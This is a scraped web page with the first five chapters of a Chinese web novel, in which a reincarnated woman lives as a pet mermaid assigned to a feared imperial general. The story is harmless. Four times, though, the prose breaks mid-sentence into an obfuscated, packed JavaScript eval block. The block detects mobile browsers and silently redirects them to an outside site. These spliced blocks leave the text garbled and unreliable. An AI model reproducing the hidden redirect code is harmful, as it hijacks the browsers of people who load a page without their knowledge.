《跟暴君匹配上了怎么破!》 1. 第 1 章 “莉莉的主人分配下来了吗?”穿着白大褂的医生压低声音询问。“嗯。” “是谁?” “是……”苏莉的饲养员艾米丽面露难色,犹豫道:“那位……” 苏莉甩着自己纤细修长的鱼尾在水箱之中游曳,一会儿照照放在水底的粉色梳妆台上面的镜子,一会儿咬一咬自己虽然被修剪的十分圆润,但依旧能看出尖锐锋芒的指甲。 虽然她的指甲看起来很锋利,但实际上像她这类物种并没有太大的威胁。 跟苏莉看的那些人鱼小说不一样,她穿的这个世界,人鱼并没有治愈系的精神力,也没有强悍的身体素质能徒手撕碎人类,更没有过人的智商能超越人类。 在未来地球,人鱼是作为宠物而存在的。 苏莉一年前穿越过来,花了接近一个月的时间才搞清楚,她是宠物这件事。 这真是一个悲伤的故事。 虽然苏莉常常跟她家猫说,想跟它互换人生,让它出去打工养自己,但当她真的变成宠物了……其实也没什么不好。 与其当个低能量老鼠人,毕业即失业,好不容易找个工作还把自己干猝死了,不如躺平被投喂。反正被谁喂不是喂,当条低能量老鼠鱼也不错。 有点想吃松鼠鳜鱼了。 虽然也有一点不好啦,比如她现在都不能选择自己的主人。不过给谁打工不是打工呢? “莉莉是机构内最好的精神抚慰人鱼,上面要求给那位分配下去,也很正常。” 精神抚慰人鱼类似于现代社会的抚慰犬一般,培训之后对人类进行一些抚慰工作。 精神抚慰人鱼由政府机构专门饲养,十八岁成年之后开始分配给主人,能获得精神抚慰人鱼的主人大部分身份地位都不会很低,因为精神抚慰人鱼在抚慰界是天花板一样的存在,稀少且珍贵。 除了她这样的精神抚慰人鱼之外,当然还有抚慰犬,抚慰猫,不过对于得天独厚拥有优越上半身人类条件和天籁嗓音的人鱼来说,这些抚慰猫狗的价值自然比不上精神抚慰人鱼。 精神抚慰人鱼的寿命可以跟人类相媲美,不会出现人还在,精神抚慰人鱼没了的情况,当然,意外除外。作为那些将精神抚慰人鱼当作家人而存在的家庭,这无疑是一件令人喜悦的事情,也使得精神抚慰人鱼更加珍贵。 当然,虽然它们上半身是人,但并没有人类会将它们当作同类,因为智商限制和物种区别。 因为精神抚慰人鱼的珍贵性,所以国家在动物保护法的基础上又特意出台人鱼保护法,禁止虐待和遗弃,被发现之后会入狱。 苏莉伸手抚摸着自己漂亮的人鱼脸蛋,镜中印出她的模样。 微卷的黑色海藻长发,紫色的瞳孔,白皙柔软的肌肤,散发着幽暗深紫色的长尾鳞片,像童话里真正的美人鱼。 可惜,她的眼泪不能变成珍珠换钱,也没有女巫的药能让她长出人类的双腿。 看着自己的盛世美颜,苏莉忍不住叹气。 原本以前她也是计划长成这样的,可惜计划赶不上变化,上辈子的她只是一个普通的路人甲。这辈子好不容易拥有一张漂亮的脸蛋,没想到居然是宠物。 好吧,是精神抚慰人鱼。 全息投影上正在播放纪录片,苏莉是从这些纪录片上面才了解到自己现在身处在一个怎样的世界。当然,这都要归功于她的饲养员艾米丽,这位纪录片狂热爱好者。 “莉莉。”艾米丽朝她走了过来,这是一位典型的白人女性。 与其指望自己不如指望别人。 苏莉游过去,双手搭在圆润的水箱边缘,露出半颗脑袋,睁着漂亮的紫色眼眸,微微歪头看向艾米丽。 艾米丽立刻被萌得心神荡漾,跟苏莉看到她家猫歪头的样子一模一样。 艾米丽马上偷偷将藏在自己口袋里的巧克力递给苏莉。 虽然穿成了人鱼,但苏莉的口味没有变,她最喜欢的食物还是巧克力。可这是人类食物,作为人鱼就应该吃人鱼粮和人鱼罐头、零食等等。 不过艾米丽是一个极富有爱心且温柔的饲养员,且因为年轻,所以跟传统老派的饲养员不一样,并且她也是真心喜欢莉莉。 她发现苏莉不喜欢吃人鱼粮,也对人鱼零食罐头没有兴趣,却喜欢偷自己藏在口袋里的巧克力吃之后,先是担忧了一下她的身体状况,听到医生说人鱼在没有被饲养之前就是杂食动物,而人鱼粮只是为了饲养方便之后,便尝试将自己每天带的便当分给她一半。 艾米丽的手艺很好,不过因为她是一位白人女性,所以带的西餐比较多,而苏莉很明显是中华胃。 艾米丽给苏莉带了几天西餐之后,发现小人鱼兴致缺缺,便开始尝试开发其它菜品,终于找到了小人鱼喜欢的菜系,中餐。 并且每天还会给她补充各种维生素牛磺酸等等药剂,弥补营养缺口。 苏莉趴在水箱边缘慢吞吞吃着巧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324967|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克力。 她不喜欢把东西带进水里吃,这样会弄脏水质。虽然艾米丽每个星期都会替她打扫水箱并且换上干净的水,但苏莉还是坚持在水上用餐。 “还要吗,莉莉?” 今天艾米丽大方的给了她两块巧克力。 不是艾米丽小气,而是多吃巧克力容易蛀牙。宠溺的艾米丽在一开始发现莉莉喜欢吃巧克力以后每天都会给她带,然后苏莉就……蛀牙了。 幸好,莉莉是一条与众不同的精神抚慰人鱼,她对于那些自己不熟悉的牙科器械接受良好,甚至不用全身麻醉,只需要口腔麻醉,治疗过程非常顺利。 今天艾米丽会如此大方,大概是因为苏莉马上就要被送走了。 作为饲养员,艾米丽是不能跟随苏莉一起走的,因为饲养员的存在会导致精神抚慰人鱼和新饲主之间无法快速的产生情感链接。 苏莉伸出手,接过艾米丽手里的巧克力,然后掰了一半递给她。 艾米丽立刻被感动的痛哭流涕,就跟苏莉从前看到她家猫给重感冒的她叼来一袋猫零食一样感动,虽然最后她发现只是她家猫想吃,然后让她把包装袋打开而已,但人类总是喜欢脑补一些情感大戏。 艾米丽也不例外。 情感充沛的艾米丽一边感动的吃着自己的巧克力,一边呜呜咽咽的诉说着她新主人的残暴。 帝国最出名的上将,从小作为战争机器被培养出来,缺乏人性,虽然只有二十三岁的年纪,但已经有十年战争经验,也就是说他十三岁就上了战场。 “那是一个没有感情的怪物,”艾米丽转头看向还在吃巧克力的苏莉,“我的莉莉,怎么会匹配上这样的主人……” 苏莉想了想,又掰了一半巧克力给艾米丽。 不是苏莉喜欢扮蠢,而是她发现她这种类型的人鱼最高智商不会超过边牧,而边牧的智商一般是人类的六到八岁。如果贸然暴露自己,最可能得到的结局就是被解剖。 虽然她觉得自己已经扮演的够蠢了,但奈何这些人鱼的智商实在是太低了。而她这样的行为对于精神抚慰人鱼来说,已经算得上出挑了。不然她也不会获得顶级精神抚慰人鱼的测试结果,并且被匹配给那位上将。 “莉莉,妈妈永远爱你。” 艾米丽吃着巧克力,痛哭流涕的程度更加激烈。 所以她夜半三更突然想到她家猫会死,然后抱着它痛哭流涕的时候也是这么莫名其妙的吗? 2. 第 2 章 人鱼机构一向冷清,今日封场之后更显得清冷至极。 “莉莉,我的宝宝,你该怎么办啊。”艾米丽作为饲养员陪伴在苏莉身边,一边擦着玻璃,一边满脸哀伤地看着她,脸上满满都是属于老母亲的不舍。 苏莉隔着玻璃,纤细白细的手指轻轻贴上艾米丽的手掌。 她的手指缝隙间有柔软的蹼,这让苏莉一瞬间就能联想到自己人鱼的身份。 艾米丽被苏莉的暖心举动治愈到,就跟她伤心难过的时候她家宝贝小猫用爪子拍拍它一样如此让人感到温暖。 “你的主人今天就要来接你走了,希望他能成为一个好主人。”艾米丽艰难开口,并为苏莉祈祷。 是的,今日机构内被清场的原因是她的主人要来了。 作为这个帝国的上将,这些集权者们总喜欢保持自己的神秘,并做一些跟常人不一样的事情比如清场来展示自己的特权阶级和与众不同。 “听说那位脾气很不好,虽然莉莉你是被分配过去的,但人鱼保护法依然有效,你跟那位拥有一个月的适应期,如果在一个月内那位对你做出不好的事情,机构可以拒绝签署抚慰协议,你还是可以回到机构内来的,而如果那位对你进行虐待和抛弃的话,他也会去坐牢。” 感谢人鱼保护法。 苏莉更加认定自己在现代疯狂为动物保护法发声这件事是如此正确。 不过你跟一只智商只有八岁的人鱼说这种事情,她听得明白吗? 苏莉歪头看向艾米丽,朝她露出一个柔软的笑,然后发出一个很轻的音。 “ai。” 人鱼不会说人话,它们像猫狗一样有自己的语言。 不过经过苏莉在无人之时的努力练习,发现人鱼的嗓音其实也能说出人话,只是需要一点智商和练习。 智商她有了,需要的就是练习。 待在机构内的这一年多,苏莉练习的次数不少,因此,已经能流畅的说出人类语言。 当然,即使掌握了人类语言,苏莉也不能跟艾米丽对话,毕竟她不想自己被解剖。 “ai”是苏莉将人鱼语言和人类语言结合起来,给艾米丽取的昵称。既不会暴露自己,也能让艾米丽知道她在唤她。 听到苏莉的声音,艾米丽又是一阵惊呼,“我的宝贝叫的真好听,再叫一声给妈妈听听。” 苏莉:…… 苏莉看到艾米丽贴在水箱玻璃上变形的大饼脸,正一脸垂涎地看着她,恨不能把她吸死的样子,想着她在她家猫眼里也长得这么丑吗? 苏莉甩着尾巴无情离开了。 艾米丽遗憾叹气,低头看向智脑的时候又猛然恢复精神,发出一道惊叹音。 “天呐,我的申请居然通过了?” 苏莉好奇地游过去,透过水箱玻璃看到艾米丽的智脑投影。 那是一份领养抚慰人鱼的申请书,申请时间是一年前,申请通过时间是刚刚。 这是什么意思?艾米丽要领养人鱼? “莉莉,如果你一个月后没有跟那位签订抚慰协议,我一定会领养你的。” 哦? 比起那位上将,苏莉很明显更愿意跟着艾米丽。 “可恶,差了几天!”显然,如果苏莉没有被分配给那位上将的话,现在她的主人就是艾米丽。 “都怪我,应该早点找我爸爸的。” 嗯? 苏莉竖起了耳朵。 “爸爸一直不同意我当抚慰人鱼饲养员,我答应他这次如果他肯帮我这个忙,让我领养到你,就回去继承家族企业。” 苏莉:……我以后会一起孝顺咱爸的。 突然,外面传来一阵清晰的脚步声。 有很多人过来了,而在这份杂乱无章的脚步声中,其中有一个脚步声令人无法不在意。 同样是军靴踏在地砖上的声音,这份脚步声明显比别人更加沉稳干练,有一种让人只听到脚步声就感觉到极端窒息的压力感。 艾米丽立刻站直身体,如临大敌般盯着门口。 银白色的自动门从两边打开,率先出现在苏莉眼中的是一位穿着黑色军装,佩戴着高阶军徽的短发长腿美人。 从她肩膀上的军衔来看,她的职位应该不低,而在看到她的脸时,苏莉才想起来,这位女性军官并非普通军人,而是时常出现在国家演讲中的皇女,帝位的第一顺位继承人,芙蕾雅.温莎。 至于苏莉为什么会认识,当然要归功于艾米丽这位饲养员。 一开始,艾米丽会给苏莉放人鱼动画片,见她不感兴趣,却只盯着自己的智脑看,便将手中的智脑朝她的方向移了移,然后一人一鱼一起看起了八卦娱乐,军国大事等等。 艾米丽认为苏莉根本看不懂,而她这样一定是为了陪伴她。 啊,多么好的莉莉,更爱了。 听说芙蕾雅的母亲是亚洲人,因此,这位皇女有一半亚洲血统,天然的混血基因,金发黑眸,笑起来时感染力十足,让她整个人都显得非常有亲和感,这就是为什么民众会如此喜爱这位皇女。 苏莉的视线往后,看到了站在这位皇女身后的男人。 他很高,比这位皇女高了一个头,半隐在黑暗中,只看到一个高大阴冷的轮廓。 男人身后则跟着机构的中年负责人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324968|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “曜,过来看看你的人鱼。” 芙蕾雅转头朝身后的男人招手。 男人终于挪动脚步,从阴影里走出来。 跟芙蕾雅一样的黑色军装,不过是男款的。 黑色的长筒黑皮靴,大翻领收腰黑色军制大衣,边缘是靓丽的白色牙线,垂在两侧的手上戴着黑色的皮质手套,跟腰间黑色的皮带相映,衬出其宽肩窄腰的身材,往上是一张金发金眸的俊美面孔。深邃的五官,冷白的肌肤,令人窒息的美貌。 这样的颜值,如果是隔着屏幕,她一定会疯狂舔屏直呼死嘴快学,abandon!abandon!abandon! 但男人身上煞气太重。 禁欲系的军装衬得他优雅从容,可那股萦绕在他身边阴鸷沉郁的死气却使得他更像一个从地狱踏来的恶魔,还有他的眼神,看她如死物一般毫无波澜,金色的瞳孔,金属质地的冷感,比她更像野兽。 不喜欢,不舒服。 苏莉皱起了眉。 第一眼,她非常不喜欢她的新主人。 而显然,她的新主人也不喜欢她。 “很弱。” 苏莉听到他对她的评价。 作为国家的战争机器,这位上将只喜欢不易被摧毁的东西。像这种柔软脆弱的物种,只会让人觉得厌恶,而他也不需要这种物种的帮助。 如果不是芙蕾雅用皇女的身份命令他过来,他今天根本就不会出现在这里。 芙蕾雅叹气扶额,“这是你的精神抚慰人鱼,并不是你的士兵。” 说完,芙蕾雅率先走到水箱前,露出一个温柔的笑,“嗨,莉莉。” 苏莉朝她笑了笑。 芙蕾雅的脸上露出惊喜之色,显然是在为这条人鱼的通人性而惊叹。 这是一条极美丽的人鱼,如同童话故事中的小美人鱼一样,美丽到不可方物,只看一眼就觉得心身都被治愈不少。 怪不得那么多人喜欢养宠物,这种治愈的感觉只有身临其境才能了解。 芙蕾雅想,自己是不是也该养一只小宠物了? “曜,快过来。”芙蕾雅朝男人招手。 男人缓步走到苏莉面前。 隔着水箱,两人对视。 小美人鱼像是受到了惊吓一般躲回水中,只露出一双紫色的眼睛浮在水面上。她黑色海藻般的长发铺开,带出一股天然的水妖感。 芙蕾雅还沉溺在苏莉的美貌中,“听说它是机构内最温和,最通人性的精神抚慰人鱼,从来不会攻击人类……” 苏莉仰头,朝着男人的脸吐出嘴里的水。 “噗。” 3. 第 3 章 水打湿男人的脸,濡湿了军装衣领,有些甚至顺着他的脖子溜进了衣服里。 陆曜面无表情地站在那里,任凭水渍从他的发丝往下淌,滴滴答答落在地上。 芙蕾雅夸奖的话哽咽在喉咙里。 艾米丽站在旁边,也是惊讶地张大了嘴。 一起生活一年多,艾米丽从来都没有看过莉莉这样。 虽然只是吐了一口水,并算不上是攻击行为,但这样细小的变化对精神抚慰人鱼的职业生涯会产生巨大的变化。 “这是怎么回事?”一直作为隐形透明人的机构负责人立刻询问艾米丽。 “莉莉它以前不会这样的。”艾米丽着急的解释,“可能是因为刚刚成年,所以激素有些波动,还有可能是第一次见到陌生人……”后面这个理由完全不成立。 芙蕾雅也是陌生人,怎么不吐她,非要往那位上将脸上吐呢? 机构负责人皱眉,焦急而小心道:“殿下,这是我们的疏忽,为了保证上将的安全……” “很活泼啊,曜,你觉得呢?”芙蕾雅打断负责人的话,转头跟男人说话。 不知道为什么,芙蕾雅莫名有一种第六感,这条人鱼会非常适合曜。 男人皱眉,开口想拒绝,那边芙蕾雅立刻转移视线看向负责人,“反正有一个月适应期,到时候不合适再送回来,您觉得如何?当然,不管莉莉有没有被送回来,关于您申请的资金问题,我都会让人替您解决。” 负责人一顿,显然是被戳中了软肋,“只要您觉得没有问题……” “好,那就这样愉快的决定了。” 苏莉鼓起腮帮子。 谁决定了,谁愉快了,是她吐的水不够多?还是她应该展示一下自己的利爪,让这位皇女放弃拉郎配的想法? 虽然苏莉努力反抗(吐口水)过了,但碍于皇女的权威,她还是成为了这位暴君的抚慰人鱼,好消息是还有一个实习期。 也不是莉莉不想反抗的更过分,而是出现过分攻击行为的抚慰人鱼就算十分珍贵,也会因此而丧失价值,很有可能会被安乐处理,根本活不到一个月后被艾米丽领养见到她们的爸爸。 - 虽然艾米丽会时常带她出去散步,可说实话,这还是苏莉第一次出机构。 机构内部很大,还有一处花园,里面甚至有一个人工湖,只是因为太脏,所以艾米丽从来不让苏莉下水,当然,苏莉也不喜欢脏脏的水,怕得病。 虽然不知道人鱼的妇科疾病是不是跟人类一样,但她心理上作为人还过不去。 即使是再好看的花园和人工湖,看了一年也腻了。 因此,虽然不喜欢自己的新主人,但当被带上车的那一刻,苏莉还是忍不住激动了起来。 有一种被关押了一年,终于重见天日的重生感。 人鱼并非不能离开水,而是不能长时间的离开水,一般来说最多七天,如果没有重新入水休养生息,人鱼就会脱水而亡。 而从水中上来的人鱼也不像小说里写的那样会由鱼尾变成双腿,鱼尾依旧是鱼尾巴。 人鱼车是人鱼出门的代步工具,每次跟艾米丽出去散步,苏莉就坐在里面,让艾米丽推着她走。 人鱼车跟婴儿车很像,是放大成人版的婴儿车。 下面还有一个兜子,用来放置鱼尾。那个兜子里甚至还能储水,让人鱼在外出散步的时候也能舒适的将尾巴放在水中。 按照流程,苏莉应该被装在水箱里运送到那位上将家里,可芙蕾雅为了培养她跟这位上将的感情,居然拒绝了水箱提议,用人鱼车将她放到了车里。 宽敞高档的加长版车型,就算再来三条人鱼也坐得下。 苏莉一人独占三个位置,因为她的鱼尾需要地方放置,所以在这个u形沙发座椅上,她保持着自己L的姿势。 就好巧不巧,她的头正好靠在男人的膝盖处,只差一点就要碰到了。鼻息间属于男人身上的味道不可阻止的萦绕过来,带着冰冷的金属感,像尝了一口不锈钢冰块。 她想换个头,把鱼尾对着他也好。 苏莉偏头去看她的鱼尾。 像她给自己的猫买了很多奇奇怪怪的可爱小衣服一样,人鱼也有自己的鱼尾裙,散开的裙裾包裹着鱼尾线条,从前苏莉尝试过将鱼尾藏进鱼尾裙里,这样看起来她就好像一个真正的人类。 正在苏莉努力甩动鱼尾想自己换个方向的时候,那边传来惊呼声。 “天呐,它真的好漂亮。” 芙蕾雅虽然身为皇女,从小肩负起帝国的责任,但毕竟才二十岁,骨子里还残留着小孩的一面。 她蹲在苏莉面前,问她,“我可以摸摸你吗?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324969|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 苏莉突然觉得,这位皇女将她放在后座并非是为了让她跟这位上将培养感情,而是为了摸她。 苏莉表示拒绝,并且伸手推开了这位皇女。 如果不是她,她现在已经跟艾米丽一边刷娱乐新闻,一边分享她的便当了。 “啊,它喜欢我,曜,你看,它在摸我。” 苏莉:……当你弱小可怜又无助的时候去拒绝别人,别人还会觉得你在可爱的撒娇。 “我记得那位饲养员临走前给莉莉准备了零食。” 是的,她就是在可爱的撒娇,零食呢? 芙蕾雅抽出旁边的行李箱打开,里面装满了艾米丽给苏莉准备的东西。 艾米丽知道苏莉是不喜欢吃人鱼类食物的,因此,她准备的都是正常人类食物,在食物最上面,还有一张艾米丽手写的极其详细的莉莉饲养手册。 姓名:苏莉。 年龄:十八岁。 种类:人鱼。 功能:抚慰。 等级:顶级。 智商:八岁。 喜欢的食物:巧克力、牛肉、甜品、糯米类食物,喜爱中餐。 讨厌的食物:榴莲、青豆。 喜欢做的事情:躺在床上和出门散步,偶尔会玩些小游戏,喜欢和喜欢的人待在一起,不太喜欢同类。 讨厌做的事情:剪指甲,梳理头发,戴项圈,摸她,盯着她看,像宠物一样的使唤她,喂她吃不喜欢的食物,穿不喜欢的衣服,不喜欢在水箱里食用食物…… 不喜欢的东西还真多。 原来刚才是不喜欢她摸,伸手是拒绝。 芙蕾雅道歉道:“对不起,我是看你太可爱了。”说完,她抬头看向男人,“曜,你得看看这个。” 芙蕾雅将艾米丽精心准备的莉莉饲养手册递给男人。 男人连眼皮都没有抬一下,“不用,反正一个月后,它会被送回来。”顿了顿,男人的眉头皱起,“还有,不要跟人鱼说话,很傻。” 芙蕾雅翻阅莉莉饲养手册,“可是这上面说她能听懂简单的语言。” 陆曜垂眸,压低的黑色军帽檐下金色的瞳孔落到苏莉脸上。 他的金发还没完全干透,帽檐边也残留着濡湿水渍。 随后,男人发出一道很明显的嗤笑声。 苏莉:…… 4. 第 4 章 第一次出门,托了皇女的福气,苏莉没有被装在水箱里,而是车子里欣赏了一下户外世界。 作为未来世界,这里的高科技产物自然比她原来的世界多,比如一些只存在于小说世界里的智脑、全息投影等等,她在艾米丽身上看到过,还有机构内和现在外面随处可见的机器人。 不过其实也没有太大的变化,钢铁铸造的城市,死气沉沉的绿植,到处都是冰冷的铁块。并且因为连年战争,所以普通人民的生活还没有她在现代好。 奥古斯帝国,就是现在苏莉待的地方。作为战胜国,它一共分为十二区。现在苏莉身处中心区第一区内,也就是经济水平和医疗科技水平最发达的帝都赫伯里亚。 这里是整个奥古斯帝国最安全的区域,可即便如此,她只要一抬头,还是能在天空上看到巡航的战机。 听说奥古斯帝国跟邻国阿尔瓦的战争刚刚结束,现在两个国家都正处于休养生息的状态中。 而她身边这位上将,也刚刚从复杂的战场上回来。 作为战胜国,奥古斯也没有讨到什么便宜,反而陷入了长久的经济停滞之中。 经过战争的大肆破坏,被污染的田地让人无法轻松的获得蔬菜瓜果,牲畜死伤无数也造成肉类价格猛增,大家只能吃些简单而廉价的罐头食品维持生命,而在十区以外,还存在着一些连罐头都买不起的人,他们作为帝国边缘人群,最早遭受战争洗礼,也恢复的最慢。幸好政府进行了失业补贴,还会定时定期发放免费餐食。不过那些遭受了核辐射的人类除了躺在麻袋里安静等死,最终的结局也只是被毁灭,作为战争的废弃品而存在,只有记得他们的人会为他们的离开而感到痛苦。 发达的医疗技术并不会到达他们所在之地,古往今来始终存在的贫富差距在这里也依旧存在,甚至更为严重。富人垄断资源,穷人苟且偷生。 因此,事实证明,即使是未来社会,人性不变,资本的贪婪,权利的滥用,普通民众成为战争的牺牲品,依旧是亘古不变的话题。 幸好,战争结束了。 各区开始休养生息,重新建造被战争破坏的公共建筑设备。而即使是首都第一区,在摩天大楼下,也偶尔会看到半废弃的大楼。 这跟苏莉想象中的未来世界不一样,并非繁华的黄金时代,而是战乱后的反乌托邦社会。 唯有路边春日星星绿色,勉强透出几分勃勃生机。 “莉莉应该是第一次出机构,她对外面的世界很感兴趣。”芙蕾雅虽然被陆曜嘲讽对着鱼说话,但她还是忍不住关注莉莉。 “对了,你家里应该装一个实时跟踪系统,在没人的时候保证人鱼的安全。” “不必,我不习惯。”男人果断拒绝。 芙蕾雅还想再劝,一低头却对上苏莉的眼睛。 漂亮梦幻的紫色眼眸,像最美丽的紫色贝壳一样迷人,此刻正透露着迷茫的可爱。 苏莉眨了眨眼,然后缓慢歪了歪头。 “它在亲近你,曜,”芙蕾雅看着将自己的面颊搁在男人膝盖上的苏莉,满脸惊喜道:“果然是顶级精神抚慰人鱼,一点都不怕生。” 下一刻。 “呕……” 苏莉吐了。 没想到变成人鱼了她还是晕车。 她刚才就说应该把尾巴对着这位上将的,也不至于吐了他一身。 “天呐,怎么吐了,是不是身体不舒服!”芙蕾雅赶紧抽出湿纸巾替苏莉擦拭,“我们该回机构给它检查一下身体。” 其实她只是晕车。 “呕。” 苏莉又吐了,芙蕾雅赶紧让智能汽车改变道路重新回到机构,“莉莉,你怎么了,莉莉!” 苏莉生无可恋地翻了一个白眼。 回到机构之后,大家对着她进行了一系列诊断,最后得出结论,“只是晕车。” 芙蕾雅终于放下心来,然后才后知后觉的意识到旁边还站着另外一个人。 芙蕾雅低头,看到陆曜身上的痕迹,沉默一瞬,“是晕车了。”顿了顿,她又抬头看向面色阴沉的上将,“上将,殴打虐待人鱼是犯法的。” 陆曜闭上眼,黏腻的感觉顺着军长裤腿往下淌,他努力控制脾气,“我知道。” - 来回折腾一顿之后,在苏莉昏昏沉沉的状态下她被喂了晕车药后重新送上车,然后一路送到了那位上将居住的地方。 虽然吃了晕车药,但晕车的感觉挥之不去,她沉在水箱底部,整条鱼像是飘在棉花上,又像是站在电梯里跟着电梯一起上上下下。直到入夜,苏莉才从这种奇怪的感觉之中抽离出来。 她睁开眼,看到了自己的新住处。 这是一间很大的房子,肉眼可见上下两层,她被安置在巨大的横厅内,侧边就是落地窗,如果是白天,应该能很好的照射到阳光,现在是晚上,窗帘没有拉上,苏莉能看到窗外星星点点的灯火,那是院子里的地灯。 四周很安静,这里像是一个郊外别墅。 她甩了甩鱼尾,水箱内发出细微的声响。 水箱很大,比她在机构内的还要大。 配备了自动净水装置,侧边隔开有一个没有水的小屋,那是她的卫生间。 人鱼的排泄系统跟人类的差距不大,它们甚至能使用智能马桶,还会自己冲水,当然,这需要人类教导。不过莉莉跟其它人鱼不一样,她不用教,自己就会了。 当苏莉第一次出水,坐在人鱼车上,跟在艾米丽身后一起去厕所,自己下车习惯性的上马桶冲水之后,听到了艾米丽熟悉的尖叫声。 “我的莉莉真是世界上最聪明的宝宝。” 这跟她第一次养猫,知道猫居然会自己上厕所埋猫砂时的惊喜感一模一样。 艾米丽坚信,苏莉是在模仿她。 并且更加坚信,苏莉是机构内智商最高的人鱼。 为此,艾米 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324970|167561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丽还拿来了智商测试题来给苏莉测试智商。 因为人鱼不认识文字,所以艾米丽拿来的是积木。 有图案的积木,将图案正确的积木放到空缺的积木板里,以此来测试小朋友的智商。 一开始苏莉还以为是艾米丽给她买的新玩具,虽然她对这种弱智小玩具没兴趣,但为了不辜负艾米丽,她还是以一秒一块板的速度将这些都完成了。 艾米丽惊呆了。 然后又拿出了另外一个箱子,里面装着八岁以上小孩的智商测试题。 苏莉眼尖的看到包装,神色一顿,然后开始把积木胡乱拼接。 艾米丽看着零零散散的积木,终于承认自家莉莉的智商只有八岁。不对,居然有八岁!她家莉莉是机构内最聪明的人鱼。 对此,苏莉心中只有庆幸。 差点被解剖。 回忆完毕,苏莉游进旁边的卫生间,用鱼尾支撑着身体解决完生理问题,洗净双手之后又慢吞吞的出来。 这个水箱大概率是机构提供的,因为非常符合苏莉的生活习惯。 卫生间跟水箱不一样,是使用磨砂玻璃完全封闭的,这就跟有些猫喜欢全封闭的猫砂盆,有些猫喜欢敞开的猫砂盆一样,苏莉还没有在大家注视下上卫生间的豪迈。 至于为什么会知道她喜欢上封闭卫生间,那也要归功于艾米丽。 一开始,苏莉会偷偷去上机构给员工在水箱房内配备的卫生间,也就是艾米丽用的卫生间。 艾米丽发现了这件事后,慢慢摸索出来苏莉不喜欢敞开的卫生间,就替她将跟水箱相通的人鱼卫生间封闭了起来,然后安装了感应灯,苏莉也就不必那么麻烦的从水箱里爬来爬去偷上艾米丽的卫生间了。 卫生间内除了智能马桶还有洗漱台。 饲养员会负责给人鱼刷牙,避免蛀牙,艾米丽自然也兢兢业业的给苏莉刷牙。 为了避免自己太像人,苏莉勉强接受这项服务,直到有一次,艾米丽忘记给莉莉刷牙了,为了避免蛀牙,苏莉自己进入卫生间刷了牙,被返回的艾米丽发现了。 对此,艾米丽的反应自然是惊喜又怜爱。 “谁是世界上最聪明的宝宝呀?当然是我们莉莉了,居然会自己刷牙牙。” 自从苏莉从幼儿园毕业以后,就再也没有听到过如此朴实无华的称赞,还带着叠字,这跟她在自家猫面前变身成夹子有什么区别? 不过鉴于她的智商有八岁,因此,对于这些超出人类认知的事情,机构内的人也接受良好。 睡了一天,晚上的时候,苏莉无比精神,她在水箱里游来游去,见屋子里始终黑漆漆的没有动静,便抬手,从水箱里爬了出来。 侧边的玻璃上印出她的样子。 苏莉被吓了一跳,然后才想起来那是她自己。 嗯,三更半夜,一个披头散发的女人还带着一条鱼尾巴,从水箱里湿漉漉的爬出来是挺恐怖的。 5. 第 5 章 一个正常人,起码像她一样的正常人,是无法忍受一天到晚待在水箱里的。 这个时候,苏莉就要无比感谢她亲爱的饲养员艾米丽了。 如果不是艾米丽坚持每天带她出去散步,给她分享娱乐八卦,每天不厌其烦的聊天,给她带好吃的便当,看漫长的纪录片,玩益智小游戏,她应该早就崩溃了,不是成为机构内最聪明的人鱼,而是成为机构内最疯的人鱼。 屋子里没有人,这是苏莉观察了一个小时的结果。 白天在车上的时候,苏莉听到男人家里没有监控,便更加放心大胆了。 苏莉在沙发上看到了艾米丽给她准备的零食,旁边放着她的人鱼车,还有她的毯子,并且另外还有一个巨大的行李箱,苏莉猜测里面应该装着她的人鱼衣服。 一般来说,人鱼是没有羞耻心的,不过因为它们实在是长得太像人了,所以人类会给它们穿上衣服。当然,就算不穿衣服,它们身上也有鳞片保护,尤其是在重点部位。 这对于苏莉来说好歹有了一点安慰,就当是穿了三点式比基尼吧。 环境如此苛刻,她对自己也宽容一点吧。 今天从机构出门,她穿的是艾米丽特意给她挑选的小吊带裙,露出纤细白细的一双胳膊,若是细看,能看到一点潜藏在肌肤之上的,淡紫色鳞片。 